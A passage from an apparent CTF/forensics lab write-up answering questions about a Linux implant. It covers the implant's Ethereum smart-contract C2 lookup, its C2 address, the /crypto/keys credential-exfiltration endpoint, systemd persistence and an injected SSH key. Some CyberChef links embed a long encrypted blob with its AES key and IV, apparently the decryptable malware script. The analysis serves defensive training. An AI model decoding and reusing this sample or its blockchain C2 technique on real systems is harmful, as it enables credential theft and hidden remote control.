ZZQ1Z4bHhGWU9seUx4cUhyRHJONERtSm94d05WdFY4NjUwMTBkVnppMWVCVUNraHNrLzJPbm9UYU5kbHZKYms0QVlld1luTEtlZnJiQ1dvaXdzeFl0bEpTTWIyamUxMURUNjBSeTkxWDhPNk1ZdW1tSTkxVWlpUmVSYkdtb000b1hZMkxGNXJBSmpWcFd3VXdkSGlBTWlTbUJWTWJ6ckNucE5WN2xYVU1NVzR6bG9oMjNxa1FaM0pIYzh0RElLOU1nQWNtb2VUMyt4SXFBMG5lOXp0cnppMlBkYVdpeEJOVmMrczNMSllmZldkSVhKVDhaVUw0U2NFQ21sdXU0aC9nNFpoWGcwbVZOVTIwR2JobFZkSWZORlkySEMrbnRqejgrcVlLOFl0Ti9rU1ZEK1pLQTgzZnpGamh5TForeVJkVmI3M3ZVQmFZSFFNNWZJSTcxQ3VGbkpFNjI1UWltYVh1ZWZISU9PSXlGcDEzSWdkWlVHb3dSdTdxc1c3OVB0Z3ByTUdVWUl5dE5wMXYzTnNYek14R0tLYTRJZGtnNWdodHkwZ3BsOWhqQnlhMzFDQTJZaGdtNzZtMUt0czdsWEk5NE5Fc2tvc29ZQ0d6TEVvR0N1cm5TZHVTbzVPdkVBMEhuSWFHWk5JM1ZDSEF3WjE1dlZYOFRxVTVSa0djTVVzVEhFaS9qaFcva1R3d2RsWUU3bUgyZXJ6cUxRTXBuRkRBTUZUaEJZbWZ0TitjZDIvNjFQdnhUQkh4L3FrMVNFZUxFUGtTVWhacUYzWEg1SkU4SlRUS3owZkZnMThzcXYyS090Nk1lYytWdjQ4ZExjMDNzWnBBdWJUaXFhOGhncmp3OWN6a1JieTdvblVnUUw4ZXFTdXlNeFpQczlKTkdzR2VyMG5kS0pSTVRKRlJXMnNqVW1RY0IrN040TCtuVGw1MDgwaEs3UW9CRXZtYkdremNIR2IzRktycTR6NG9MdU9raUdmTHhBN0NVTW1hYytWbnlKd3czSkFORGdmMUUwbmlHUkwxaWU0NlNKa21KaGJYS3krTkhLb1BzTU1OVCt3L2RkRWFsdU5wajFXMFdGN25tUWI1VUF0aUdRTFUzZGFSVkFjaWRsZzdXMXZBUmg1TlNKRGZGcHVQNGkwdTU0NjU4Tm5YNHZhT3FOZFBTcjdaR2daUU4zeC9VeDExZ3d2cEY4Mmo0SVFlR0tQQ3FVQVZsc2hFeUNiUFpiSURDYUx1cHFZR0w1dGpvVkVjaDFEN3FPcC9yemwwVHlEMHB0OE1VTGtQZWVsR0J1YnA5dG5hZG1MQVowZ3NLZXFPeTlkc3FoTDRudUhzOXgxZmZQK25mZFpMMTcyN1BGbHdGbFVOdS9leVpBYjdZclo5RGplUndvTzRxckRnWTdvUzFPeDl1dVYyRmF0V3JHZXdVSE8raFpEOTFqeWlMRHJscVdQVytjVWhPZmZINFZsd0ZDdWlMbXFyUXFhOG9PVHIxREphMGhTZFA3akoxZkFkZTdWR0diZ3ZLWHZMQ08xeFFDNjJoaTdsZi9tdTVzTlpycE93bGl5NWYzQk4zeVZSV3MwSlFRNWpzTHlRYlRZWEs0K0pxNUZMVnBOcmg4R29rcU04OUFvdjV6UFY1NVVOazZMUE1ldXp4NXdTcDJDY2hlbncrT0pmRFl3STBGMXl0cDkwcmRyU1dCWHlwcXd4eGsyc2pDVkVPNHVxUWtZZ3ByRmlxdGZLL3czYlVlN3hxQWttaXVZaXVZUFA5YmJlU09tQkRRSUVCQURjTVUwVWVsR0pOTG1DZzRtUUNJZkpmVHBBZEJWWkhFMHQ5bmRhWjJpcDZkKzlrY3hxVXNSckY2UGpHYXdzNC9EUlhObGl3MVV3dFdqa1hhQnk0WS9EcVZ5Z29DZk1UU05Zc29McVZOWjZoQWNEbnBMSGpVbWhPdytxbm5aOCtUZ282aXlQYVJ2MS8xcFdZSVdQVEVra0NLNmtuM1UvZi9qOWhsYlJvYnM5RmY3UEYxb1ZwSTRreTY1V1lrdi90Y0FhRFErUFptUlhxU0J0cVcwUEJaSVltNGg5R0dRbVl1RlVlUndqaHlBK0IzZ2ZkUFhLV3kvNHBjNzd4SWJaMzJUZlBPMUZMZ09PSWlIL2JXYTZoMktDVElzNTFydlpIUjBXT0xWVTBLT2FnSVFBdWpCN1h2dnFDSjcvRmk2VDQwNkM1SUx5ejEwUTdmRitla2ROb3FQbmt4NGwzS1p0TENYV1RqM3dOSDJRNHBhUGpzYlBZQ0RZQlJMK0N4TkFHcmxpdGlQVWNPWHc4MDJEWEprbWE4RTlWMXVLbkw2WWJ1SVhHc2Y1U1JNZ212a0RIQi9scFdybE1pL2d3ZmVaYlVqT2ZLclppZzROMHF5bW9QSHFRWmtDWnUwUG1nMy9ISzd2a1RxMnlWUjQyTE5ybWpJRVNJcDZUSTNqcy95SU56KzhCaFpaaGJ2WTQ4dzdjZU1NRDhVR1RFWmR6WStVcnF2N1pGY0N2SkwwYm9FbVRVVXUrNmU3TmpCdU9wMDBZNnRyOXQzYnRZeHVDTlZQdS9RVGV4NHRISU51WVE4dHhhbit2V0MxRjFkQXhsSHFvS29qWHR4VkErSGcxQjk0R0NWWTAxVTBRa2FNbFYwcVg1aCtqTTFLNGFzQXJpTEhEa0szaFRMSmMxRzgwSkFMOVA1cWdmRjZaQ0NESFZ6NnBpZjNQR2s4cG10WTBBbXI3bC8zOW44RExISFJOSHgrOCtUcHJMTGFTNlNFRys1QnZMRnNoejFPYUFTWkp0RnNWWnVLcVlIRVBhbHlwcVl4Z2xQaFlQR1V5SDA4Vmp6SmdVREQrS3lWeEplTndjSXNCdWRDMUkyYjJtbWdPTzNsVlJtbDh2bVlaM2NZeGNYKzc1L01YanpZZTJob1NkZTNad3A0T3lwdEdxRU5vMkZzc3JyYUJVeG5kV1BMc3FMUGZFY1U3K2E1VWNWNzltTjlENXdydzRIVzJVVHJ6b0FUV2JtUjFSM3R4WVNJVWNnRC81SExrTWEzVWh4aDdBQWhZUlRmV0FoRTdZaVQ5TUVVTTlSN01VUnJ4clJrdWdUZXhOY1FCdXE3VE94S1dWclpMcUdHN29jajFkbWQ3V3cyMkFxaW5sZTdZcGpqb1E0TVhGT2VIWThrbmtJTnAzajlwaXJ3MXBMT2VIN0hlcUJKNmkxRmV2V0VFYUo0bHJlRmFmZ3R3S0R6dnJlYUc1QXBpYk1NMndkYytmWUdrRmNSOWhzaDFJWFhsMjE3NFNtU0JRaXoyQWZtZW82Ly91THVPcFNpS1lFWm1Wc0NwaGlGVHdMeGJWMVlBdXlsVU1xUFYxWkFrajlwcUowK2xXMW9ycUd4eUFZOTlMb3dLaUpleGJ3aGo2WXVHTVFlRGNsdU5SbitrU0RGMWlhRlJQVW9ST0d0Sk1tM3EvZWlMc2lNKzNzQU8vUDhLeVlNVW9YRDFXRDEvY0NPdDI1bFIwcEp4RXpVV05EcVJyMmw0TnYwRXZRVkYrbm4xSlYzUlpuSUNjRmtwd2VsZlhDVWtFR3VneW0rQUR0TnBJSWRaTncrTjFqQ3VERzRUaSs4Vy9kYmU4RytHNVZoaUpLVXhTNGlnSUFlcXk0U3E5UVU4emU1NFA0VlhnUHpvM3htOFJUQkd6enNTcUdMd1dVOFhOdGVPSFVmcEJaZ0VjakxaY2piMFNzRmhtR0JTQ042VjJuenBnS3FSUy9Sb0tiMVZyVXhSNTZYdkc1bGNNL3VrSThFcHBSSk42Y3ZFRTZQbW5vMEdsTzdCL2hKdWxHc1Y2cU9QNFVWYXY4VElTNzFhWTdIQnZJbjkrdllPcjVyb2RTZ0MwcE1PZitvQkdMbXpsTHRuZ1E4aWZwOHVFZHBBZGRQTGd2L0N3Nk5KL0UyQ3FkT0YzVVYvQkpIeWI1a0dtTk5WS2luOHdzWTRjbzJzVzFvcmNSZWRCOENpcE1MYkxNMzlWVXpXK1V4QWJWbmlYNFN1OHJZOTA5NzF3Zy83c2xPL01sUUJlcHUvWkZYRUYzL3VVN2FVM250WG5wMUhyNVJFMGdhc29EWjl0ZjZJMTNDMm1zdWVkUWtpa2ZmT05MWFJwdTRHZHpRTWRqejlxcnE1VVRMZ2pjODYvNlZYQi9GUTR0USttZUNEUTd5NEw4ditQTG9QV1Z4QjdKb3hLY1B5dlk4QlRlUHp5MnJ1clhBamxVUTBpeURaRzVTQmNkT2hYQ3RDbHc1OWpmRFVrRS9PNTRBczFzcGRYa2UzVU5xZWNydlI0ZC81WmcxaXIzSzFFUXlxTkJRbmJKRU51NGx1dHorTjJBM0dlaDhPaEpGckRNeVQ5d09HN21hSDkrQzZWV3FOelBzNTVHdzdUajVtVGlSNURDbDNKTEhDUzA2TkJYdE81eGx6cWJaSlBQZjZLUnJnalJYUEc5NDlWR3FWck5HYldZenRNMlpGVyt4YjM2ZXJ0M1N6N01aWFVjMTRuemdRaEpEK3lYTXFVbUFGOUUvL090QW56cGxXWDRuWWdLTjI1aUY0bW1PWEpjeWMyU1FsVlVqQlYrUWtVNEhXOU9yZmdHeXRTekcyS3ZHMEM3bVpkLzNGK3p5blZ2d3o3djlRbE5EK2pQKzlXWGFnOG56WjJTeGlFSXVoTXVsL1MxWWRFbDNlbTcrY09sTnFiamNYNXJZcFEzZGpDVmw4dEFYbnJZZkxYYzYvQjB1UWlGVUZHRkxuekMyYXF4WVFiSDQzeTFlc2IveVhQM3FwZ3BtLzhsQmYzYXNvQ2Y4OU9aaTZ1b3grL2tMQWNacU91VEpNY0cxc0txMUFRbWgvSGZhSk45UXBDb2lLcXd0aG5pUDlIeG1wdFhuU2d2WFl4YTVIRU1XYmlVVXc9PQ0K&amp;ieol=CRLF"><strong><em>link</em></strong></a>), and get the answer:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XwliWI_7zc0yc9ZqmStimw.png"></figure><blockquote><em>ru</em></blockquote><h4>Command and Control</h4><blockquote><em>Q7: What are the two smart contract addresses used for C2 resolution? (Format: in the order they are queried)</em></blockquote><p>from the same previous decrypted Code, we can get the addresses directly:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/607/1*hE0YcyeMOq54R9g3W-bnxw.png"></figure><blockquote><em>0x22f96d61cf118efabc7c5bf3384734fad2f6ead4,0xb0cbaA51b3D1D36e8E95F4F68dfBd47ED2eaA7a4</em></blockquote><blockquote><strong><em>Q8: </em></strong><em>When was the primary smart contract deployed on the Ethereum network (UTC)?</em></blockquote><p>from the previous image, we can determine that the first contract is the primary one, so let’s check it online (<a href="https://etherscan.io/address/0x22f96d61cf118efabc7c5bf3384734fad2f6ead4"><strong><em>link</em></strong></a>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aPd7rSCxmtWKETFs0FWJhA.png"></figure><p>from etherscan, we can can go to the full contract and get the timestamp:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K1b49WyqSRaq0eCbTt5lBw.png"></figure><blockquote><em>2025–12–05 19:13:47</em></blockquote><blockquote><strong><em>Q9: </em></strong><em>Since the smart contract is deployed on a public blockchain, its source code can be obtained.<br>What function name is used to retrieve the stored C2 URL?</em></blockquote><p>in my case i used the <strong>Dedaub (</strong><a href="https://app.dedaub.com/decompile?network=ethereum"><strong>LINK</strong></a><strong>),</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8fF323Jdez5fYAMyCYgJfQ.png"></figure><p>Now, we can put the input data we found in the contract into <strong>Dedaub:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Oh81N33V8YqCkQcYZ8AOwg.png"></figure><p>just like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G154ODPFOTdcasi-ynJKSw.png"></figure><p>and now it’s decompiled successfully:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qowzdk5elLA4qgRVlVLxvw.png"></figure><p>it’s basically a minimal storage contract that lets an address store and retrieve a string mapped to its address, so let’s take that full string and decompile it again into <strong>Dedaub:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/854/1*iVRw-hfNFZW_GSOVoEfn8w.png"></figure><blockquote><em>getString</em></blockquote><blockquote><strong><em>Q10: </em></strong><em>What is the transaction hash of the first C2 URL published to the primary contract?</em></blockquote><p>investigating the first transaction hash as shown:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tl53TdpxIJJqTDop5dbvyQ.png"></figure><p>investigating the Input data:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M4ecRRDl-w8AJdJY76sHDg.png"></figure><p>Decode Input</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NOsjBzDnt2Qf37-HFYDD_g.png"></figure><p>so yeah, it contains the C2 URL, so hit the transaction hash for the answer</p><blockquote><em>0xe4efe4d2b118229161f7023e13ab98b54180fbfb1756d11959e4f19238b9655d</em></blockquote><blockquote><strong><em>Q11: </em></strong><em>When did the implant retrieve the C2 URL from the blockchain (UTC)?</em></blockquote><p>falling back to our pcap file, we can use this filter: http contains "eth"or search for eth_callsince it is the JSON-RPC method used to read data from smart contracts:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kJb0Po9Gj_4QQTvyq8uz3Q.png"></figure><blockquote><em>2026–02–10 18:37</em></blockquote><blockquote><strong><em>Q12: </em></strong><em>What C2 URL did the implant retrieve from the blockchain during execution?</em></blockquote><p>we can see here the traffic direction:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FxTlLcV4mhsHLUPEabMbMg.png"></figure><blockquote>https://63.176.62.199:443</blockquote><p><strong>Q13: </strong>What is the Bot ID assigned to the compromised host?</p><p>the same previous packet, we can get the BotID from it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rkpXQSjskvGmv3a0Wg8Vvw.png"></figure><blockquote><em>4ebfbc8aedf60511</em></blockquote><h4>Credential Access</h4><blockquote><strong><em>Q14: </em></strong><em>Once connected to the C2, the implant started executing multi-stage payloads.<br>What is the endpoint path used for exfiltrating harvested credentials?</em></blockquote><p>checking all visited URLs, until you'll find this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vd-LrB1oTn8r6Thr3wBmqg.png"></figure><blockquote><em>/crypto/keys</em></blockquote><h4>Persistence</h4><blockquote><strong><em>Q15: </em></strong><em>What is the filename of the systemd user service created for persistence?</em></blockquote><p>Since we are looking for Linux persistence via a systemd user service, so the goal is to find where the attacker creates or references a .service file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JVtINF_p-jFg3ydIBAWeaQ.png"></figure><blockquote>c16a536e1a9cb42d.service</blockquote><blockquote><strong><em>Q16: </em></strong><em>What is the comment field in the attacker’s injected SSH public key?</em></blockquote><p>we need to know first that the structure is like this:<br>ssh-rsa &lt;public key&gt; &lt;comment&gt;<strong> </strong>, so by the filter : http contains "ssh-rsa"</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*N0xvHlOKrtLg1po0UNKyWA.png"></figure><p>single lonely packet, let’s check its TLS stream, and get the answer:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8TMfQfUI5fg2j8vj-LntLg.png"><figcaption>BINGO!</figcaption></figure><blockquote><em>maromalix@ether_dev</em></blockquote><h4>Execution</h4><blockquote><strong><em>Q17: </em></strong><em>When was the first remote command executed through the C2 channel (UTC)?</em></blockquote><p>this question and the next one <strong>Q18</strong>, have the same idea.<br>from reading the full decrypted AES js file (<a href="https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true,false)AES_Decrypt(%7B'option':'UTF8','string':'a3f8b2c1d4e5f6a7b8c9d0e1f2a3b4c5'%7D,%7B'option':'UTF8','string':'d4e5f6a7b8c9d0e1'%7D,'CBC','Raw','Raw',%7B'option':'Hex','string':''%7D,%7B'option':'Hex','string':''%7D)&amp;input=MkhWbmxwUnh3SnlNRjAwWDlXamxTbDV6MkcrQnB3ME45MGVKQWtsRzJZdmVBdEJnTldDUDZHT1VHNXRNZjBxQzRRaVM5TGRBQnFJcGZyRFJ4Wnl5Yzh3alN6cDNZUVZETDBUMm82Zi95Ny9WQktGMTAvdjZ1M1JBZ0VZQU9iS2dkNGJzTnNMZmkxQ0F3Q3RhY2xlSkZIV2dGQ3NLZGtLaGhqL0Q0MC9qTnBnUHhkZE55QlM4Ni9jaG9KeTRsTWovTXdmMmhscWluQ1FkbmJGQXkyeDBrSzJxVGZKMmRyOS9TcDlRMkZQQnNKWDd0RUF1REE0QkRyTjdydzVVQ2Y1dGpEbUt0NTZGdnp2Nmlxcmlxb2dSVWVLTDgrVDFZMkVUNGJwUTRwczF3bHZqMzErQlVoVHkvRXNYWm42bzY1MkQ3M1dMYW9WRC90L0NPR09yNXErNXZ5ZjJkeXRaK0ZSTW1pSXZtK2xuVzlDMlFZc0xxYmRxNnNRRWRoU254dm5vUzRUTkhqMzZPdXIySS9JcXhZbXBCREFzYkZucitLSXA1cnRTUFJGUng1QWx5Tm1tbTBFNHArb1l0WUxHbVFlTlFNU2RGWTUxa0FhZGpoNEhzTVA3eEdaYW9Rekc5V3RHYjc5LzgvSEhjOGxTcFpWL2JieVQ0YlN3a29zWjFlRmVlU0hLaFZPczU3UDhCRHEwaXFwTXI4RmF2TmVPUU41VFNOUjBicHppendHUjQ4aGNEdmp0cVdlcndHQlhZNkY1NGFsUzhienVUOUFwS3JFS1hEUksxeGF0M0NkREJDbzdjSGx0a3NveHVXckx0TnRaK1F5ZEEycm5PWVh4UzExQkYzNGl5WDdZSlB5K1NWN2hjam9ZcnZjdUxaNElKY1RpWkRQY0xNNmtBM0t6Tmx0cjdVQ29BdjV2dVh2clk5YmVrV1pZRThHd24wNWJQcVNHOWZYb2xmOGtLTHFXTU5HUjVQS2MwYkRjS2RHVXhKT3MvaVlGWDFXeG9LZThkVkswRE14WTlZWUJ2czdmd3I3YXdTWHpOcnJQM0kxbzVZR0RmZ08yQXVTNXorODlvcWZGSFJlSFY3ZmxWL0lySWg1NXFXME1aWmVGSW5uaU01Ny8wd2VqUERaTU5sRmR6V3pObUxkbWRVL0VmWFNXN0hFMGZsSUQySmluZU8wNFJkSU04bTRiR016alRYckU3RW9jSExhZDBEUWZlV0tNTGRNN0hOTWYxWkxEeXlxRlJWZUhKbWhuNklBL1F6T0dSOTlnbWdFVHUrZHdrSUhTWS9QdzlFcTVqWG5FVGNKaFVxeC93Q2NwSVBLUllZOHRHNHNQUURtZEdIUmJac2V1RDVzQWFyRHNWU1B2MmtxbXUzK0hsdTh6eUJLZlBLQUlCeGpSYmtoNnNOMXE4MHVKYm9kYXVPZ2E2MDhiU2NmVkRGY0NCMldIY2RROUlrY1A5Y0dBdWt1aGptSFltYzZIY2NqSWYyeWVyZ01YNHJQVkRqQWU2RVdwTTR2WTN4MmNwQjY2Nlk5VmdQM2lIbVpNRVNEbEpXMlBiVE41RE1oRVp3Z21mZXdYazFtQTlMTEpXNWpHVUErR29KbldFSVhrbnhwb0Ywdk1pSFVkRWFPK0xqNjJMcTFmU2VBZUdqRVY1NmtJc3p5cHF6TWtIdmtqSTFNakVTQWtZU3A4bHBRSyttZHB4aGh2ZjlDbUZhN3NoRlBRSHBsb1pSUHJpMjF2QVVzTjEzSXFEQmZvT2pKZFpIN1JlN0xyNkdNb0xMQkx4bDhYUUplWllZQVE0cFZ1UXpxa2hWM29KQ3lvNjExYW9jSXExUnhPMHA3TTZNMVVXYWhRWllIWE1PYzdQcjg0RWlSSU02aUd4d2d3NCs0WXhHWkE3RTgzanhobWVPZVRnRHczTHZUY0VEeDQvUUN6LzlTcjlBRzY4eGp1emg5UHR0TjVsQ2QwTVUzQ2o3dWdpelNQZ0hVMEdFMEJCWElmUVFtalA0UVBya2V4WkcrVXZVZDBKV2FOZjhYUnNKZ2FyY0xCQlAxV1pqbGQ5d3U5eGx5VnpJNXZBL2ZialRrUFcwOWFYbmlqQVJFQzFEejlEaG96dlM5S0x5bnA4MjQ3K2MrU3VsSVdrMTh4aDJ6YmxJZEl6R056bmFVSjJoN1hHRXZOVkxlamVLOC9oUWxnekV6ZUVoV1dJK1RpblB6S2FUZTlsWUVLZ0FOcnYyb0ZwcDg2Z0dSclh1YkZqODNVc0dmZFoyQy83OTVNbXBhMVZkczhNV0FkeHA0THlHcDhraWRTQkFwRHoxdUUxTWh1VUs4b3l2M0JsYlJCankzemozbVR2UFRzNUJ6aWZXaVVmekM1V3VUUEJlU3pXcGo1cmhkK1UvcXV5L01HYm9wbDk4UGRRSllKWDlsaTlUSVZwU3hwOWtHcG14aUtPZnpkL2FHOGdIa1I1ZWxhWGN6aTFyVUJaeDdKU0p4aVpZZjB4UUMyK0ZHeGlZbXl1UHNYK2hGb29IYWNtTGw0UVNGK3ZYdmJJSUg3QkM4c1RxbSswN2lwRGdpLy84UUFzUmM5bnhPMjgraDNOSlM5L003OWdsK1pNanJqWlpzY3BSQzZLa1RCQ2JOY1pHUDMxeHlHTDhPNE5iSnlzYWRaMTBZdm55RXhlNy82M2Uvc2wyK1doNGVXdjlieUJQdFltYnhQWVlQaW9WbzZ6VXpDVUVFczNYTk9MTkFCbjZ3TlNmSGVEVDdGVW9sdk92S05HdldVbURVZUtjZElkdWoyRWUrM1YyMUUwSEkzcjJvQUkyZUZSMzNSN0MwTDZKTFhIUmNiZFpsV2NJdExtSnVQMHVYa3cvbkcrRFFqYWRTbEhONmllSUdjSGlyRGU5NDhMTXhtZVhTRHN1aE9OeWU5SVF3ZFlTdnBPUG83WWZTMmJtMGdpSlNLZDJKaDBacWw3aCtFT0MxMUdheWU1RjFMd0JkU2JEK09OMUxzM0REUzVLeVhraG4xMjFSTWh4bnBxZlE0YUVyUUlIaW55dndOU0k4OW85TW50WkNHMGFWMnNHbGo4VHpFemg5ZUhBWEFpdUEvanp5QUpHYkdNMnlOT1BIODBMUUNkZnRIT2ZqdDVEL3RENU10c3BOZTUyQXdNaDQ0Rm5oV0VJajIxK3ByV3o1NXF1MHpHSHJpekIwOTFxYWJOaFAxclJtZlNrREN3dlFRM2M2blp1Zk05UURidC9UdWJUR2JVTElITXVoY3kzelhUdDBySWdXTlFEN1pCWUdxOUZXM25uWGwweEY5WDVDK3BGRHZLN3pBTnhJZkZLRkFRejJkKzE5dklrdlMrWHFacDk0eW45eS9xZlB4QzVZTmd3VmpNaFhrRnY1dm5nTDVxRDdBeld4RThySllUQTFtKy9PNkdqU2x6OEttb1prcTArU1lDSWc2bGVPb2grSi93YVNUcUdtUitsNjZBWi9sK29UWVhpRkthNS8rYW1PNlF1MnI2UFBlWHg2MFNwaXVDd3hjNUhyMGFiOTlkbnpubzNMME4zSnJ3RGhPTkViaUcyYktDN2xBV1VJdGVKWWN2cGFWSjcyM2xvcmluUDNHa2ZsMXhDTmV4QTFLMnFEZ0x6Sm0rMk1IS2pCQXg5QnBMZXAxRkg0eFFNMytJeklINHVDUVp3ckRjYWY3N2o5aG5hSGVHRUxlcWQrZW1FWVNsckEyd1lBWEQxa0Q2TFVuY3UxU2lIN1liSmREOUoxYUhTZ1hVT244cFNObXZ0dFAxbUIxNEpMTXpPd292d1ViN3pZNEtlOVR4bEVIT01GU3QwNHFOanRKL2pkK3QrRHpWRmdqQUpDWlNaMnpFS1d2K3N2azhuTWo4UW4wTkcxYmFaUXRmdkZQa2lRS3BwOCtKbTI0cjRoUHVQSVdLSVFTclZRbHlOVHAxL0JNRDdQWENtTnNlTWMzdG9iM2NpUXFENGE1VCtWdXpmUmhpbXQzYTFMTHVrblFpU1VreTU2TVNZdURlS1dFOVMwRXVEeCtxRFdsWk5vNzNpOWRWaXlWdjEvRU80dVZnMmpReWx4WFNqK2xQa2c0RGJKTEUydUtYMGhsVHdTaThOS3FjKzk3SE9tSXNoT2VuckVXZ0NreDVUa2lrQWJvVzJhRlhYbkNxV1ZDbmlOalNRWXVjdFpDRWloZFVHWVBxTDk1MVpwMlZYWitUUzArTEptZVFtQjBIeSs0M0I0MGtYcG5UQmgxYk83eGdIWmZGRzhqOTRveGg2cG1qa1hYenh3djk4WDlmQUVKd2dUV0Q1UDBjSG5FOWtHcU9WV3VYMGVZSW9vd0V5ajRheEwyVTFha09FdHgzUHU4YVFZcmFtUDNEN2ZTeWRPVFhrRGJCTFVXR2VYNi90M3JmWmh0YjQwdTk1ZG91dFllVG9aYy9PZXBocStDRWpMQ2RTajRnQ250VE9xa0F0dG5STHY1My9Xc0k0ZzJwdUMxOXVjS3BFVEsyZTRrMm52bVJJQm92cmNIZXFOcXZIOXZqZTRIYU1LcGc3L29ITFpmZm9jWEFXSERvWDBxa3VMLzZtUUtvS0lwazNKM1U2SHY1dXRab0dEa0Z6UkpuRDRHZUZhWFJQVHpSQ3FpTldrR3pjdnREMDhlcEI5aUdVaWdXdm5sSWhCeTBvRXFLZ21BU1MyZmdCYWRxTkxmR04vdkFVUW9uRWh4M3ptNjNmZmFUclBBWDY1V2dUSXkxRDhSMjdvaDRwdkRsUC9Hdnp6RG9ZL1dCSGhlVlBEcFA4TlA1MmVxckZSdXVBSm03SDJ1T1BPUlJ3SWpCN1RTZGFrYTEyck53UnFlSjBqbzB0QU1HdmhHZ083bmxDRDlZOTIveHNWdDNvaXc3eDh1ZUJlRVpYTXM4MEk3dWNzUWtPOGtmR29nakJ3dXE3dlhPbngyN0d0M0pqL0ZBUWFPYkVOaVg0TURhMlkzWXpub0o1bUtvQ3lOUkNCNDFGZm1FdXY4Qjl5TTdaL1lWRFVmcmZsbFhKTTR5OU1jM0VxSEhOdzczUjR4dWFYQU55THpsVS9LZUJiVGZJcVJWNWIwRW9ZZ1YzVEc0dzJWdVdBN3FTMWFuVnlpdUJzR1c3UnhXSXV2dXFxaDFURUMzdkVDTjFVd0YrZ3VpbmRFVlhYQThEOThjYnVBSWVYK2I3VVBqV1cyRlF4eGxtL2VEYml4aU5IUHlEY0tvM3RXa2xJN3djWkY0bTNELzlkakxsUnlLWkthQlAreGtZaHBNRGduV2pMQm5XL05ZV3ZZMUNWL2I5R2I2OEdXZXNGSWRXK0Y1TDZjMjRLT0QwbjdFRUs3UU5neFRGY2hIZlozeDNhY3hJdnN6d3RLS3VSMWF5dXRUTkw5T2puZWw2aTVBUWVJa05ORTZoTGNsTlJyZUZhQWltUzFwdXhOOUZTck9oTVc3R2JmaTRhNHF0eHVGU2VUd0pVUHlzNjcwTnQrMWhQRktBcjg5NmVLRmo4T25XcUpweDV2TXpsMFpadGJ5NmFXSHQyR2EvWnFJTFJFSmdSL2VZT0NtQmdwdm5DL3RJdVNQTUZYN01Tb08zQjJpL2RIdmF4L0ZOK21kUkVOY2JoQTJHYWhJaWlmUFQ5NzlJbkdCZjdKdU5SeXBaeGJwdzU0VUxDNXdWYTBnYklsWVFFYlhyRWdKU21PaU1ndFRqRmlZQXpxaU9SWHUvSlVTS3pzVityVkVYZDRubDlUUWZydElBUXpqTkhvWXd1Q2hEaCtmNjNSNzRZZjZIaVZINS9ZTEFFenI3R1NPRFdNVmIzUElUTHJxSDdKc3JYWTlmNVNDTkRza3NUb0hDcWZiV3lCYzI3d1BQY3pTdC9ESzJJNTB4bk13djR3U084T0VwWUM2Nkw1OEUwN3ZYS3VKSGRpV2VVb3YwS0l1YWJOVXhPcm5rVXRyTW9WN1hLUi9mYzIzdEk0em0yRDEzbWMrVmNOdDRIQmh5ZFFmZno2Z1VMYlY5Qk1HTDhFTkttOXQ2bkcweW8yeHh3ZWF3OGhkUGdhb084ZnBIWW55QzYyTnpGRmtVUXRIY3o3THdBc1g5TjVRZlhsQkpvZ3c4dnppeWhxVWZzcWxHak81Z0JRWWNJOVR0WkhGaWF6VndnYnQrdU5UYzI1Y3dnZWROc1hsWU9zQlNRNHBkRmdTV2d3di84OW9WUyt5QXRTRlJVS0NaMkM1WGdyQUlQNFJWdHNGZFZ2aUZGRG9Ia3RmVkN1b2kzc2xuU25nSEMvejkxWGJ0RnNPMlc4bDZFRlpLSjVKQWJBMWRsUENaVC9RckNucGJWVC9tZlNYTU1aZCt3bnFVd1dzc1ZpMTExblc5bnlsdHRyS2VQT1hwWDdkYjNEWWNhSkFybDNrZ3NGK0ZqaWlQVEh6VXYzdjJjeGRUYXlrbURBVHRQckpqMTBsZGgvandNTUh1R1J5MVBTZURXRGI5QkhlL05vaFBKOU9KZ2tDUGxPVDZna00xUlFZT00vbDZVYnNiMXBzQm9XR0dsdGF3Lzd3VzVHZHl6SXFRNmVJdmhtWjk0bjBHZUdnem5BYUQ4SHp0Uy9aNkpaOFhZODlUTXVqSStNbm82VTl0SHFrMTBKTDZMRUZ3dStzQTdrZGdOUGFDMkw0Q1Ftdk4zNTdsMkhsVU9zeklMY2VOR2NscndvNVU0cGdJdFMrQ3NtVnRDaW1ubHppS3U4VDlnMWwyVW9qYktnay9NZWExSW5nZlVGRVo4cnE0NjFSeHpUS25tLzB4aFZ1dys1ZzlZNGNMbDhSTGd6MEk1eWI3RmFqQURUV05XV2I0ckJxdTBmUTZmbTVaTHI1MEx6Y0w2NmowWDJEaEhkZWVKM1JyZnIwdTNlWm1OS3hEWTM1clc5TWFVMGpQT0R3UDQvQWU1YUM1UlkzbDVOTzNzVVFmdU5MQWNMb0p2RktyOE83dGZYM0RLbjdKazVQdG1NemhUeGE3KzlEV3Z2eDJOSWpLTXJHZFRvaEoyVkNmbDNETnA5Y2JpRmNQMHl2WFRSZjVmVTI2VmR6Ri8wcW5YbFZ6S01QQ0lQN2lnYVZQcnhUaUVWVTdHMnJIaTFkWmp0WUN6eC8yc3h5a2FNSmx3Vmdab3IwbVE0UCtmYlBvNElwdEQvVTRiSEovdUVoemJkc0c5THpLSmhVRnphblAxRFpOdjNBOTIzZG9mRFU5ditTbXNKMWdueDlDOFVLL25tSEhSVS9WS08xYzd3Q2w2elR4Wm9pT1BzbExZSHd6VFQvMkl1cXl6WGh2d0gxWDd2MlM2ZmZXbDNNcmc0U25vdTVZUmpIY3E0TFQyV3Na